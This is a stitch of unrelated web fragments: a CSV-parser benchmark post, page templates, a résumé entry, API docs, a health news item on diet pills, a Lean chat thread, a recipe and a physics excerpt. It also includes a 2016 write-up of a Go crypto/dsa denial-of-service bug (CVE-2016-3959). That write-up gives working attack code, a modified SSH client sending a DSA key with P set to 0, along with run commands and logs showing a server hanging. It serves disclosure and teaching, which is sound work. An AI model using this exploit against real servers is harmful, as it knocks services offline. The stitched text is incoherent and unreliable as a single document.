Benchmark¶
In this section I want to show how you to parse large CSV files with TinyCsvParser and process them in parallel. You will see how fast TinyCsvParser is compared to other popular .NET libraries for CSV parsing. This post is not meant to discredit the FileHelpers or CsvHelper projects.
Dataset¶
In this tutorial a real life dataset is parsed. It’s the local weather data in March 2015 gathered by
all weather stations in the USA. You can obtain the data QCLCD201503.zip
from:
The File size is 557 MB and it has 4,496,262 lines.
Benchmark Results¶
Without further explanation, here are the Benchmark results for parsing the dataset.
[TinyCsvParser (DegreeOfParallelism = 4, KeepOrder = True)] Elapsed Time = 00:00:10.48
[CsvHelper] Elapsed Time = 00:00:32.60
[FileHelpers] Crash
You can see, that TinyCsvParser is able to parse the file in 10.5 seconds only. Even if you don’t process the data in parallel (DegreeOfParallelism = 1, which means it will utilize one thread only), it is still faster, than the CsvHelper library. The FileHelpers implementation crashed with an OutOfMemory Exception.
Benchmark Code¶
Measuring the Execution Time¶
The elapsed time of the import can be easily measured by using the System.Diagnostics.Stopwatch
.
private void MeasureElapsedTime(string description, Action action)
{
// Get the elapsed time as a TimeSpan value.
TimeSpan ts = MeasureElapsedTime(action);
// Format and display the TimeSpan value.
string elapsedTime = String.Format("{0:00}:{1:00}:{2:00}.{3:00}",
ts.Hours, ts.Minutes, ts.Seconds,
ts.Milliseconds / 10);
Console.WriteLine("[{0}] Elapsed Time = {1}", description, elapsedTime);
}
private TimeSpan MeasureElapsedTime(Action action)
{
Stopwatch stopWatch = new Stopwatch();
stopWatch.Start();
action();
stopWatch.Stop();
return stopWatch.Elapsed;
}
TinyCsvParser¶
public class LocalWeatherData
{
public string WBAN { get; set; }
public DateTime Date { get; set; }
public string SkyCondition { get; set; }
}
public class LocalWeatherDataMapper : CsvMapping<LocalWeatherData>
{
public LocalWeatherDataMapper()
{
MapProperty(0, x => x.WBAN);
MapProperty(1, x => x.Date, new DateTimeConverter("yyyyMMdd"));
MapProperty(4, x => x.SkyCondition);
}
}
[Test]
public void TinyCsvParserBenchmark()
{
bool[] keepOrder = new bool[] { true, false };
int[] degreeOfParallelismList = new[] { 4, 3, 2, 1 };
foreach (var order in keepOrder)
{
foreach (var degreeOfParallelism in degreeOfParallelismList)
{
CsvParserOptions csvParserOptions = new CsvParserOptions(true, ',', degreeOfParallelism, order);
CsvReaderOptions csvReaderOptions = new CsvReaderOptions(new[] { Environment.NewLine });
LocalWeatherDataMapper csvMapper = new LocalWeatherDataMapper();
CsvParser<LocalWeatherData> csvParser = new CsvParser<LocalWeatherData>(csvParserOptions, csvMapper);
MeasureElapsedTime(string.Format("TinyCsvParser (DegreeOfParallelism = {0}, KeepOrder = {1})", degreeOfParallelism, order),
() =>
{
var a = csvParser
.ReadFromFile(@"C:\Users\philipp\Downloads\csv\201503hourly.txt", Encoding.ASCII)
.ToList();
});
}
}
}
CsvHelper¶
public class CustomDateConverter : CsvHelper.TypeConversion.DefaultTypeConverter
{
private const string CustomDateFormat = @"yyyyMMdd";
public override bool CanConvertFrom(Type type)
{
return typeof(String) == type;
}
public override bool CanConvertTo(Type type)
{
return typeof(DateTime) == type;
}
public override object ConvertFromString(CsvHelper.TypeConversion.TypeConverterOptions options, string text)
{
DateTime newDate = default(DateTime);
try
{
newDate = DateTime.ParseExact(text, CustomDateFormat, CultureInfo.GetCultureInfo("en-US"));
}
catch (Exception ex)
{
Debug.WriteLine(String.Format(@"Error parsing date '{0}': {1}", text, ex.Message));
}
return newDate;
}
}
public sealed class CsvHelperMapping : CsvHelper.Configuration.CsvClassMap<LocalWeatherData>
{
public CsvHelperMapping()
{
Map(m => m.WBAN).Index(0);
Map(m => m.Date).Index(1).TypeConverter<CustomDateConverter>();;
Map(m => m.SkyCondition).Index(4);
}
}
[Test]
public void CsvHelperBenchmark()
{
MeasureElapsedTime("CsvHelper", () =>
{
using (TextReader reader = File.OpenText(@"C:\Users\philipp\Downloads\csv\201503hourly.txt"))
{
var csv = new CsvHelper.CsvReader(reader);
csv.Configuration.RegisterClassMap<CsvHelperMapping>();
csv.Configuration.Delimiter = ",";
csv.Configuration.HasHeaderRecord = true;
var usersFromCsv = csv.GetRecords<LocalWeatherData>().ToList();
}
});
}
FileHelpers¶
Sadly I was not able to figure out, how to select only the three columns in the mapping. Probably I am mistaken here and you should feel free to comment below, if you have a different solution to parse the file without writing the whole amount of columns.
[FileHelpers.IgnoreFirst(1)]
[FileHelpers.DelimitedRecord(",")]
public class LocalWeatherDataFileHelper
{
public string WBAN;
[FileHelpers.FieldConverter(FileHelpers.ConverterKind.Date, "yyyyMMdd")]
public DateTime Date;
private string dummyFieldTime;
private string dummyFieldStationType;
public string SkyCondition;
private string[] mDummyField;
}
[Test]
public void FileHelperBenchmark()
{
var engine = new FileHelpers.FileHelperEngine<LocalWeatherDataFileHelper>();
MeasureElapsedTime("FileHelper", () =>
{
var result = engine.ReadFile(@"C:\Users\philipp\Downloads\csv\201503hourly.txt", 900000);
});
}
Detailed Benchmark Results¶
Here are the full benchmark results of [TinyCsvParser]. You can see, that increasing the number of threads helps when processing the data. Keeping the order doesn’t have impact on the processing time, but it may lead to a much higher memory consumption. This may be a subject for a future article.
[TinyCsvParser (DegreeOfParallelism = 4, KeepOrder = True)] Elapsed Time = 00:00:10.48
[TinyCsvParser (DegreeOfParallelism = 3, KeepOrder = True)] Elapsed Time = 00:00:10.65
[TinyCsvParser (DegreeOfParallelism = 2, KeepOrder = True)] Elapsed Time = 00:00:12.26
[TinyCsvParser (DegreeOfParallelism = 1, KeepOrder = True)] Elapsed Time = 00:00:17.04
[TinyCsvParser (DegreeOfParallelism = 4, KeepOrder = False)] Elapsed Time = 00:00:10.50
[TinyCsvParser (DegreeOfParallelism = 3, KeepOrder = False)] Elapsed Time = 00:00:10.31
[TinyCsvParser (DegreeOfParallelism = 2, KeepOrder = False)] Elapsed Time = 00:00:11.71
[TinyCsvParser (DegreeOfParallelism = 1, KeepOrder = False)] Elapsed Time = 00:00:16.70


Hello world. 4
Hello. 8
Hello world. 4
Only for 768px and up, this column has a left margin.
This is the first for mobiles.
Second.


You've probably noticed how the top tab on active subreddits is heavily skewed towards recent posts due to reddit's exponential growth.
Hardly any of the "top posts of all time" are even a year old.
This tool displays the best content from a subreddit's entire history by dividing it into intervals and getting a few top posts from each one.
Queries for cold ancient data might take a few attempts to go through, but we'll keep automatically retrying.


--- layout: page title: FirstGiving tags: [] status: publish type: page published: true meta: _edit_last: "1" _wp_page_template: default ---
At FirstGiving.com I worked with a team building a suite of tools used for processing donations for Non Profit Organizations. The applications included RESTful web API's for searching over 2 million organizations and performing donation transaction processing, an embeddable button widget with a popup donation window, a Facebook donation application, and backend reporting and analytics tools. My work included backend and frontend feature implementation, 3rd party partner support, documentation, and long term application maintenance. I was also charged with all of the application deployment and server management tasks. As the primary engineer in charge of AWS-based server infrastructure, I designed and managed the server deployments and developed the application deployment tools and procedures.


CURL Command
Copy and paste the following CURL command into your terminal to send a push message to your browser. Replace API_KEY_FROM_PUSH_SERVICE_KEY and URL_FROM_PUSH_SERVICE_KEY with the values from the Service Key from the Mobile Push Notification feature.


A namespace groups a number of lumps by their type.
string name;
The name of this namespace. Names can be anything but most engines only recognize a few standard ones like
SS, FF, or PP.
OrderedAA!(string, Lump) lumps;
The list of lumps contained in this namespace.
class NamespaceList;
Holds a list of namespaces and the lumps contained in them.
A namespace is marked by a start lump, such as SS_START and an end lump like S_END. All
lumps inbetween these two markers will in this example become part of the namespace called "SS".
static string[string] mNamespaceNames;
These map short namespace names like SS and TX to readable names.
DuplicateList readFrom(WAD wad);
Adds namespaces and their lumps from a WAD's contents.
Params:
WAD wad
The WAD file to add namespaces from.
void addTo(WAD wad);
Adds the namespaces in this list to a WAD file.
Does not process the loose lump namespace.
Params:
WAD wad
The WAD file to add the namespaces to.
void addLooseTo(WAD wad);
Adds the lumps from the loose lump namespace to a WAD file.
Params:
WAD wad
The WAD file to add the loose lumps to.
void sort();
Sorts the lumps inside this list's namespaces by their name.
void sortLoose();
Sorts the lumps in the loose lumps namespace by their name.
ref Namespace getNamespace(const string name);
Returns:
The namespaces that are contained in this list.
string getFullName(string name);
Returns:
a readable name for a short namespace name,


Geovisualization Portfolio
in this web page, you will see a variety of Geovisualization projects
My personal Website


Diet pills, laxatives often used before eating disorder development
by HealthDay NewsNov. 22 -- Girls and young women who use diet pills and laxatives to control their weight are at increased risk for eating disorders, a new study finds.
Researchers analyzed data from more than 10,000 girls and women, aged 14 to 36, from 2001 to 2016.
Among those who initially did not have an eating disorder, 1.8 percent of those who used diet pills in the past year said they received their first eating disorder diagnosis over the next one to three years, compared to 1 percent of those who did not use diet pills.
The researchers also found that 4.2 percent of those who used laxatives for weight control were subsequently diagnosed with their first eating disorder, compared to 0.8 percent of those who did not use laxatives for weight control.
The study was published online Nov. 21 in the American Journal of Public Health.
"We've known that diet pills and laxatives when used for weight control can be very harmful substances. We wanted to find out if these products could be a gateway behavior that could lead to an eating [disorder] diagnosis," said senior author S. Bryn Austin, a professor in the department of social and behavioral sciences at Harvard T.H. Chan School of Public Health, in Boston.
"Our findings parallel what we've known to be true with tobacco and alcohol: starting harmful substances can set young people on a path to worsening problems, including serious substance abuse disorder," Austin added in a school news release.
The researchers called for restrictions on access to diet pills and laxatives, which can cause serious health problems, such as high blood pressure, and liver and kidney damage.
According to study first author Jordan Levinson, "Our findings are a wake-up call about the serious risks of these products. Instagram took a step in the right direction recently by banning ads to minors for over-the-counter diet pills and 'detox' teas, which are often laxatives." Levinson is a clinical research assistant in the division of adolescent medicine at Boston Children's Hospital.
"It's time for retailers and policymakers to take the dangers of these products seriously and take steps to protect youth," Levinson urged.
More information
The U.S. National Institute of Mental Health has more on eating disorders.
Copyright 2019 HealthDay. All rights reserved.
(0) Leave a comment
upi.com/6961495
Latest Headlines
Health News // 15 hours ago
Two-thirds of child abuse survivors thrive as adults
Nov. 22 -- Two in three survivors of childhood sexual abuse have good mental health, but a new study suggests that social isolation, chronic pain, substance abuse and depression can hinder recovery.
Health News // 19 hours ago
Study: Bacteria in mosquitoes prevents transmission of dengue
Nov. 22 -- Australian scientists released mosquitoes carrying a bacteria that prevents transmission of the dengue virus, which resulted in a 76 percent decrease in dengue transmission in a community in Indonesia.
Health News // 23 hours ago
Seven states, Puerto Rico experiencing high flu activity, CDC says
Nov. 22 (UPI) -- CDC's weekly FluView report indicates that seven U.S. states and Puerto Rico are now reporting high flu activity, with 1,800 new cases reported to the agency in the last seven days.
Health News // 1 day ago
Obesity rates fall for children in WIC federal nutrition program
Nov. 22 -- Forty-one states and territories have seen drops in obesity rates among young children enrolled in the U.S. government program WIC, a new study shows.
Health News // 1 day ago
Study links parental use of marijuana to abuse of drugs by children
Nov. 22 (UPI) -- Roughly one in 10 parents in the U.S. uses marijuana. A new study suggests partaking in the drug increases the risk that their kids may later abuse substances, including a 50 percent increase that they'll use pot.
Health News // 1 day ago
Opioid treatment for cancer patients can lead to addiction
Nov. 22 (UPI) -- An analysis of medical records for more than 100,000 adult cancer patients reveals that 3 percent were diagnosed with abuse or dependence after treatment -- suggesting more attention be paid to the risks opioids carry.
Health News // 1 day ago
More than 75,000 pounds of salad recalled amid E. coli outbreak
Nov. 22 (UPI) -- A New Jersey-based food producer has recalled more than 75,000 pounds of salad products after at least 17 people have been infected with E. coli in eight states, the U.S. Department of Agriculture said.
Health News // 1 day ago
Yoga brings relief to people with depression
New evidence bolsters the belief that yoga can offer real and lasting relief to people with depression.
Health News // 1 day ago
Mothers' antibodies don't reliably protect infants against measles
A surprising new study upends the notion that antibodies passed from mother to fetus protect infants from measles for as much as a year.
Health News // 1 day ago
Inducing labor may reduce risk in late-term pregnancies
The risk of newborn death in late-term pregnancies may be lower if labor is induced rather than taking a wait-and-see approach, a new study suggests.


Editing Quest Items
Back to the index
Each quest can have one or more subquests. These can be edited with the "edit quest data" window.


--- title: Contact icon: fa-envelope order: 5 ---
If you'd like to propose additional KPIs, please follow the Contribution Instructions
If you are having problems with KPIs, or would like to make suggestions for improvements, please use the GitHub Issue Tracker
If you'd like to get in touch with me about DevOps in general, please reach out to @anthony_mclin on Twitter and spread the knowledge.
If you'd like to reach out to me directly, please leave a message:


Alex Mullins
April 9, 2016
Recently, there was a bug discovered in the Digital Signature Algorithm (DSA) crypto library for the Go programming language. In this article we'll go over the details of the bug and how an attacker could leverage it to initiate a denial of service attack against a standard Go SSH server that uses the underlying DSA library to authenticate clients.
The first mention of this vulnerability appeared in a post on the Open Source Security (oss-sec) Mailing List at http://seclists.org/oss-sec/2016/q2/11.
Go has an infinite loop in several big integer routines that makes Go programs vulnerable to remote denial of service attacks. Programs using HTTPS client authentication or the Go ssh server libraries are both exposed to this vulnerability. This is being addressed in the following CL: https://golang.org/cl/21533
-- Jason Buberel
In summary, if this vulnerability were exploited, it could lead to an infinite loop in the underlying BigNum library code. This will eat up system resources in terms of CPU and memory and could eventually cause the program or the system itself to become unresponsive.
The above statement says that SSH along with HTTPS client authentication are affected, but after looking at Go's crypto/tls and net/http packages that appears to be incorrect. HTTPS client authentication can use either RSA or ECDSA signature schemes, but not DSA. See below. If I am wrong about this please let me know.
https://golang.org/pkg/crypto/tls/#Certificate
type Certificate struct {
Certificate [][]byte
// PrivateKey contains the private key corresponding to the public key
// in Leaf. For a server, this must implement crypto.Signer and/or
// crypto.Decrypter, with an RSA or ECDSA PublicKey. For a client
// (performing client authentication), this must be a crypto.Signer
// with an RSA or ECDSA PublicKey.
PrivateKey crypto.PrivateKey
... other fields
}
Not long after that post appeared on the oss-sec mailing list, a CVE number was issued: CVE-2016-3959. The Go maintainers have a fix ready for this and will appear in versions 1.5.4 and 1.6.1 that are to be released on Wednesday, April 13, 2016; https://groups.google.com/forum/#!topic/golang-nuts/MmSbFHLPo8g.
To follow along with the code samples in this article you'll need Go version 1.6 installed. Follow the instruction at https://golang.org/doc/install. If you want to download this document and the code samples you'll need Git installed too. Follow the instructions at https://git-scm.com/book/en/v2/Getting-Started-Installing-Git. To clone the repository issue the following command in a terminal:
$ go get github.com/alexmullins/dsa
This will clone the repository into your Go workspace.
The next section will cover the details of the vulnerability.
So what exactly is wrong? To answer that, one must go back to the original announcement on the oss-sec mailing list. There isn't much information there other than a general explanation of the problem and a link to the code fix at https://golang.org/cl/21533. The commit message for that change contains the following:
crypto/dsa: eliminate invalid PublicKey early
For PublicKey.P == 0, Verify will fail. Don't even try.
--- Robert Griesemer
and the fixed code:
https://github.com/golang/go/blob/master/src/crypto/dsa/dsa.go#L247
// Verify verifies the signature in r, s of hash using the public key, pub. It
// reports whether the signature is valid.
//
// Note that FIPS 186-3 section 4.6 specifies that the hash should be truncated
// to the byte-length of the subgroup. This function does not perform that
// truncation itself.
func Verify(pub *PublicKey, hash []byte, r, s *big.Int) bool {
// FIPS 186-3, section 4.7
// Code fix added to check if the key parameters are sensible.
if pub.P.Sign() == 0 {
return false
}
if r.Sign() < 1 || r.Cmp(pub.Q) >= 0 {
return false
}
if s.Sign() < 1 || s.Cmp(pub.Q) >= 0 {
return false
}
w := new(big.Int).ModInverse(s, pub.Q)
n := pub.Q.BitLen()
if n&7 != 0 {
return false
}
z := new(big.Int).SetBytes(hash)
u1 := new(big.Int).Mul(z, w)
u1.Mod(u1, pub.Q)
u2 := w.Mul(r, w)
u2.Mod(u2, pub.Q)
v := u1.Exp(pub.G, u1, pub.P)
u2.Exp(pub.Y, u2, pub.P)
v.Mul(v, u2)
v.Mod(v, pub.P)
v.Mod(v, pub.Q)
return v.Cmp(r) == 0
}
To sum up the commit message and the code fix above: in Go 1.6 and previous versions there is a bug in the Verify function of the crypto/dsa package. If someone calls Verify with the public key parameter P set to 0 then it will cause an infinite loop in one of the statements further down in the Verify function.
A brief detour to explain DSA. DSA is a digital signature algorithm that uses asymmetric cryptography to sign a message which can later be used to guarantee that the message was in fact sent by the sender/private key holder. A simple example, Alice sends a message to Bob telling him where and when they should both meet for lunch. Bob though, wants to be sure that Alice is really the one that sent him the message and not someone else. For this to work Alice will sign the message with her private key and Bob can verify Alice's signature with her public key that Bob knows. No one other than the private key holder can sign a message that can then be verified by the corresponding public key (that's the idea at least).
To work, DSA needs 5 large numbers. The first 3 numbers are known as the DSA parameters P, Q, and G. These define the underlying group and the group generator. These numbers can be properly created with a call to dsa.GenerateParameters().
type Parameters struct {
P, Q, G *big.Int
}
The last two numbers needed for DSA are the private key X and the corresponding public key Y. These numbers can also be created with a call to dsa.GenerateKey().
type PrivateKey struct {
PublicKey
X *big.Int
}
type PublicKey struct {
Parameters
Y *big.Int
}
That is all that you need to know about DSA to follow along. For more information see the NIST standard: http://csrc.nist.gov/publications/fips/fips186-3/fips_186-3.pdf or the wikipedia page: https://en.wikipedia.org/wiki/Digital_Signature_Algorithm.
Back on topic; where is the infinite loop at in the Verify function? With a little more digging you will find that the code hangs on:
v := u1.Exp(pub.G, u1, pub.P)
This is the comment for the Exp() method:
// Exp sets z = x**y mod |m| (i.e. the sign of m is ignored), and returns z.
// If y <= 0, the result is 1 mod |m|; if m == nil or m == 0, z = x**y.
// See Knuth, volume 2, section 4.6.3.
func (z *Int) Exp(x, y, m *Int) *Int {
From the above, you can see the comment specifies that when m == 0 that it will exponentiate without modular reduction. When you take a large number and exponentiate it with another large number then the result will also be a REALLY BIG number. I'm not too familiar with how math/big works, but I think that is what is going on here. Exp() is crunching away at this exponentiation that will take a very, very long time to complete (might as well be infinity).
Here are some sample numbers being used in a dsa.Verify() call to Exp() gathered from the testing code below:
x =<PHONE_NUMBER>4400160760614045850064869082246125869475484226357302998590334523718907040547736115253396811403341841812955872027275698952059512800196447089300992352859585665865224989740
07948775031938554271780506269767106717359222697821209685947889925442133804051298762702245652821695254167558015585995918548052076 (307 digits)
y =<PHONE_NUMBER>63178371212581620103057049388105279629 (48 digits)
z = x ^ y
Using Wolfram Alpha, one can get a sense of how big this number z is. There are "113406800566837208055789635448879116719378036793444 or 1.13407x10^50 decimal digits" in the resulting number z. (note: could only use the leading 150 digits of x raised to y in the web input box on Wolfram Alpha so the actual number of digits is even more!) To give an idea of the scale: scientists estimate the number of atoms in the universe close to 10^78 to 10^82 http://www.universetoday.com/36302/atoms-in-the-universe/.
Example test of DSA sign/verify:
func generatePrivKey(t *testing.T) *dsa.PrivateKey {
// Create the DSA parameters
params := dsa.Parameters{}
err := dsa.GenerateParameters(¶ms, rand.Reader, dsa.L1024N160)
if err != nil {
t.Fatalf("failed to generate dsa parameters: %v", err)
}
// Create the DSA private/public keys
priv := new(dsa.PrivateKey)
priv.Parameters = params
err = dsa.GenerateKey(priv, rand.Reader)
if err != nil {
t.Fatalf("failed to generate dsa keys: %v", err)
}
return priv
}
func TestDSASignature(t *testing.T) {
var message = "Hello brave new world!"
var hash = sha1.Sum([]byte(message))
var err error
priv := generatePrivKey(t)
// Sign a message
r, s, err := dsa.Sign(rand.Reader, priv, hash[:])
if err != nil {
t.Fatalf("failed to sign message: %v", err)
}
if !dsa.Verify(&priv.PublicKey, hash[:], r, s) {
t.Fatalf("failed to verify message: %v", err)
}
}
$ go test
PASS
ok github.com/alexmullins/dsa 0.224s
Example test setting P to 0:
func TestDSAPanic(t *testing.T) {
flag.Parse()
if !*fail {
t.Skip()
}
var message = "Hello brave new world!"
var hash = sha1.Sum([]byte(message))
var err error
priv := generatePrivKey(t)
// Sign a message
r, s, err := dsa.Sign(rand.Reader, priv, hash[:])
if err != nil {
t.Fatalf("failed to sign message: %v", err)
}
// Set P = 0
priv.P = new(big.Int).SetInt64(0)
if !dsa.Verify(&priv.PublicKey, hash[:], r, s) {
t.Fatalf("failed to verify message: %v", err)
}
}
$ go test -fail
Observe that this last test call will hang.
How can someone exploit this? If an attacker can somehow get a server to accept and use a malformed DSA key to Verify a signature, he/she can influence the server to become stuck crunching away at a large exponentiation problem thereby causing a denial of service (DOS). Since SSH uses DSA as a signature scheme in its client authentication protocol, this seems like a perfect server candidate to try this exploit out against. Let's imagine up a scenario in which this could happen.
A small Git hosting provider allows its users to authenticate with SSH keys to its service and their SSH server is coded in Go. To bring this service down an attacker could create numerous fake accounts and upload malformed DSA keys for use in the SSH authentication. All these keys will have their parameter P set to 0. An attacker could then start hundreds of such SSH client connections to the server causing system resources to be locked up leading to an effective DOS.
Let's test out that scenario.
The server is a simple SSH server that accepts session requests and prints the current time to the connection. Thanks to github.com/jpillora for providing this sample server code at https://gist.github.com/jpillora/b480fde82bff51a06238. There were a few adjustments made to the code to allow Public Key Authentication instead of password callbacks.
config := &ssh.ServerConfig{
// Accept all authentication requests
PublicKeyCallback: func(c ssh.ConnMetadata, key ssh.PublicKey) (*ssh.Permissions, error) {
return nil, nil
},
}
This will accept all public key authentication requests. Imagine a real service querying out to a database to determine whether a particular user has this public key registered under his/her account. The server looks like a very normal Go server that starts listening on a port and accepts connections coming in.
// Once a ServerConfig has been configured, connections can be accepted.
listener, err := net.Listen("tcp", *addr)
if err != nil {
log.Fatalf("Failed to listen on %s: %s", *addr, err)
}
// Accept all connections
log.Println("Listening on", *addr)
for {
tcpConn, err := listener.Accept()
if err != nil {
log.Printf("Failed to accept incoming connection (%s)", err)
return
}
log.Printf("Accepted an incoming TCP connection from %s", tcpConn.RemoteAddr())
if *p {
go makeSSHConn(tcpConn, config)
} else {
makeSSHConn(tcpConn, config)
}
}
func makeSSHConn(conn net.Conn, config *ssh.ServerConfig) {
// Before use, a handshake must be performed on the incoming net.Conn.
sshConn, chans, reqs, err := ssh.NewServerConn(conn, config)
if err != nil {
log.Printf("Failed to handshake (%s)", err)
return
}
log.Printf("New SSH connection from %s (%s)", sshConn.RemoteAddr(), sshConn.ClientVersion())
// Discard all global out-of-band Requests
go ssh.DiscardRequests(reqs)
// Accept all channels
go handleChannels(chans)
}
One thing to notice is that if *p
check. That corresponds to the -p
flag and controls whether the server performs the SSH handshake on the main goroutine vs a background goroutine. Many online examples use the former. The -p
flag will show the difference a blocking operation can have on the performance of a networked server in the attack section later.
The client code is a little more involved. It needs modifications to the Go SSH library code to allow for sending a malformed DSA key. The SSH library has been vendored in to the client package. Note that the server code is all 100% unchanged and imports the regular golang.org/x/crypto/ssh package from the workspace.
The client works in two separate modes controlled by a command line flag called -attack
. When the client is started normally, it will make a regular SSH connection to the server and start reading the server's time every few seconds. But when the -attack
flag is present, the client will send an authentication request to the server with a malformed DSA public key. Relevant bits of code:
func init() {
flag.Parse()
if *attack {
ssh.Attack = true
}
if *key == "" {
log.Fatalln("must provide a auth key.")
}
}
Notice a new var ssh.Attack
was created in the vendored SSH package and is set to true when the -attack
flag is present. ssh.Attack
changes the SSH package's DSA public key marshalling code to replace the P parameter to 0. You can find both of these changes in attack.go and keys.go files in the vendored SSH package.
// attack.go
var (
// Attack should be set to true to send a malformed DSA key.
Attack = false
)
// keys.go
func (k *dsaPublicKey) Marshal() []byte {
x := k.P
if Attack {
x = big.NewInt(0)
}
w := struct {
Name string
P, Q, G, Y *big.Int
}{
k.Type(),
x,
k.Q,
k.G,
k.Y,
}
return Marshal(&w)
}
The attack has different impact depending on whether the server is started with the -p
flag.
To build the server, cd into the server directory and run: go build -o server .
Do the same for the client: go build -o client .
There are test RSA and DSA keys in the server and client data
directories. If you want to create new ones, use ssh-keygen
.
If the server was started without the -p
flag, then one attacking client can completely freeze the server and no more new connections can be accepted. This is because the call to ssh.NewServerConn() is run on the main goroutine and is stuck in the call to dsa.Verify() for client authentication blocking further listener.Accept() calls. When writing networked servers, it is important to keep the accept loop responsive and push any blocking operations off into a background goroutine.
Start the server normally with:
$ ./server -key=./data/id_rsa
2016/04/13 07:30:27 Listening on localhost:8022
In another terminal start a client normally that will send a correct DSA key to the server for authentication:
$ ./client -key=./data/id_dsa
2016/04/13 07:31:31 connected
Wed Apr 13 07:31:34 CDT 2016
Wed Apr 13 07:31:37 CDT 2016
Swap back to the server and see that it has accepted the TCP conn and created a SSH conn:
$ ./server -key=./data/id_rsa
2016/04/13 07:31:23 Listening on localhost:8022
2016/04/13 07:31:31 Accepted an incoming TCP connection from <IP_ADDRESS>:63516
2016/04/13 07:31:31 New SSH connection from <IP_ADDRESS>:63516 (SSH-2.0-Go)
Now it's time to start an attacking client in another terminal. This will send the same DSA key that a normal client sends BUT will have the P parameter set to 0:
$ ./client -key=./data/id_dsa -attack
Notice the client just hangs without a 'connected' message and there are no logs of the server's time. The server also did not log creating an SSH connection, but it did accept the TCP connection. The server is now stuck on the call to dsa.Verify():
$ ./server -key=./data/id_rsa
2016/04/13 07:31:23 Listening on localhost:8022
2016/04/13 07:31:31 Accepted an incoming TCP connection from <IP_ADDRESS>:63516
2016/04/13 07:31:31 New SSH connection from <IP_ADDRESS>:63516 (SSH-2.0-Go)
2016/04/13 07:33:36 Accepted an incoming TCP connection from <IP_ADDRESS>:63521
Try connecting another normal client; it is now prevented from connecting too:
$ ./client -key=./data/id_dsa
The original client is still able to receive responses from the server though.
If the server was started with the -p
flag, then it can still accept regular client connections because the attacker's SSH connections are being tied up in background goroutines instead of blocking the accept loop on the main goroutine. This doesn't lead to an immediate DOS, but will continually eat up the server's CPU and memory resources leading to a slow death.
Let's start up the server again, but this time with the -p
flag:
$ ./sshd -key=./data/id_rsa -p
2016/04/13 07:38:07 Listening on localhost:8022
Now start up an attacking client like before:
$ ./client -key=./data/id_dsa -attack
Notice that the server didn't log creating the SSH connection again, but let's try connecting a regular client:
$ ./client -key=./data/id_dsa
2016/04/13 07:42:06 connected
Wed Apr 13 07:42:09 CDT 2016
Wed Apr 13 07:42:12 CDT 2016
Hey it connects! But all an attacker would need to do is start a few more malicious client connections and the server's CPU and RAM usage will spike. With 4 attacking clients I was able to get ~400% CPU and 1GB of RAM usage before stopping due to my laptop getting a little toasty. Under normal conditions with just 2 normal clients connected to the server my CPU was around 0.2% and RAM usage was 5-6MB. Quite a difference.
In conclusion, this vulnerability can be exploited to cause denial of service. Using the scenario above, the CVE score calculator https://nvd.nist.gov/CVSS/v2-calculator gave a score of 3.5/10. There aren't any confidentiality or integrity impacts, just a partial/complete availability impact.
Looking at godoc.org there are currently 164 packages that import crypto/dsa
, https://godoc.org/crypto/dsa?importers. It is recommended to upgrade to the security release that is at https://golang.org/dl/.
Overall this was a fun learning experience. If there are any mistakes or improvements that can be made, please let me know. Thanks for reading.


{{nav.name}}
(current)
Top
(current)
販售中
(current)
相關資訊
(current)
線上訂位
(current)
FORest&
在都會遇見森林
{{article.content}}
{{article.content_R}}
{{article.title}}


--- layout: archive title: Zulip Chat Archive permalink: /stream/113488-general/topic/Precedence.20of.20function.20application.html ---
Can notation bind tighter than function application? e.g. For an operator ^
make f x ^ y
parse as f (x ^ y)
?
I think not.
I think that (a) function application has super-high binding power and (b) if you want to use notation which already exists in Lean (like ^
) then, whilst you can define it to mean new things, you cannot change its default binding power, which is lower than the super-high binding power of functions. So at the very least you would have to use notation which is not already used in Lean, e.g. \clubsuit
or some random thing like that.
Yes, I meant "^" as a placeholder. It looks like I can, but it was a much higher binding power than I tested at first.
This seemed to work, but if the precedence is any lower it doesn't.
set_option pp.all true infix ` <> `:1025 := and constant f : Prop → Prop #check f true <> false
Anyways, thanks for suggesting the "super-high" binding power.
Yes, you can. The binding power of application is max = 1024
, which despite the name is not the maximum possible bonding power; you can see max+10
used in the core.lean
file.
BTW: max_plus
is useful, it evaluates to 1034 (aka max+10
) and avoids silly incidents like max+11
(aka max_spinal_tap
).
Last updated: Apr 24 2020 at 19:02 UTC


June 2010 - Buenos Aires, Argentina - Research commissioned by Nielsen.
Etnographic Researcher
Nature Valley wanted to perform an exploratory research about the cereal bars category. The goal of the research was to understand the behavior of cereal bar buyers in-store and priotize the drivers that influence the final decision. Also gain qualitative information about the cereal bars consumer to build personas and empathize with their needs and desires.
We requested the client information about past research and performed a preliminary desk research to contextualize the study. This research was performed on team with two other anthropologists. We interviewed in-store men and women buyers of the brand as well as from the competitors brands. We video recorded the buying process and once the purchase decision was made we showed the video to the interviewee to go step-by-step understanding and analysing the influencers in the decision.
Natural Valley Granola
Nivea Sun
La Salteña
CAPIA
Zorro
CLOROX
Guia Egresso
Chef Surfing
Lean Roadmap
Clara's Linkedin Profile
Clara's Resume
Copyright Clara Gonzalez Sueyro 2013


--- layout: layout --- {% include biography.html %} {% include publications.html %} {% include education.html %} {% include service.html %} {% include awards.html %}


Automated Player
Rounds To Play
Request Delay (ms)
Play Rounds
Betting
Current Bet
Base Bet
Max Bet
Bust Limit
Update Betting Strategy


{% extends "_layouts/cp" %} {% import "_includes/forms" as forms %} {% block content %}
{{ "For which platforms has this app been built?"|t }}
{{ "Predefine commands to send with a notification."|t }}


--- layout: post title: Chicken Bites with Shredded Nori date: 2012-07-10 10:44:21.000000000 -04:00 categories: - Gastronomic Explosions - aka Yummy Food/Recipes tags: - Chicken with nori - chicken with seaweed - Gluten free - tasty chicken recipe status: publish type: post published: true meta: aktt_notify_twitter: 'no' _edit_last: '1' dsq_thread_id: '1188042990' author: login: cint email<EMAIL_ADDRESS>display_name: Jacinta first_name: Jacinta last_name: '' ---
These bite size pieces of chicken are so tasty and really hard to stop eating! They are gluten free too. We serve them with vegetables and noodles, but they would also be yummy as canapés. The recipe was originally from a Women's Weekly cookbook.
 Marinate for at least 15 minutes in the fridge. Once marinated, drain off any excess liquid. Mix the cornflour with the nori, and using your fingers, lightly coat each piece of chicken in the cornflour mixture.
Heat oil in a wok or high sided pan over a medium heat. Fry the chicken in batches until golden brown, turing regularly. Drain chicken on paper towel.
Serve with noodles or rice and vegetables of your choice. They are yummy dipped in mayonnaise too.
Enjoy! Jacinta x


Examining the expression (138) for matrix element , we find
that the first term of can be written as
|
(214) |
where
, while the second term of
can be written as
where
is the parallel wave vector and we have used the
approximation
. Using Eqs. (214)
and (215), the ratio of the second term to the first term of
is written as
. For low
(
) equilibrium, the ratio is small and therefore the
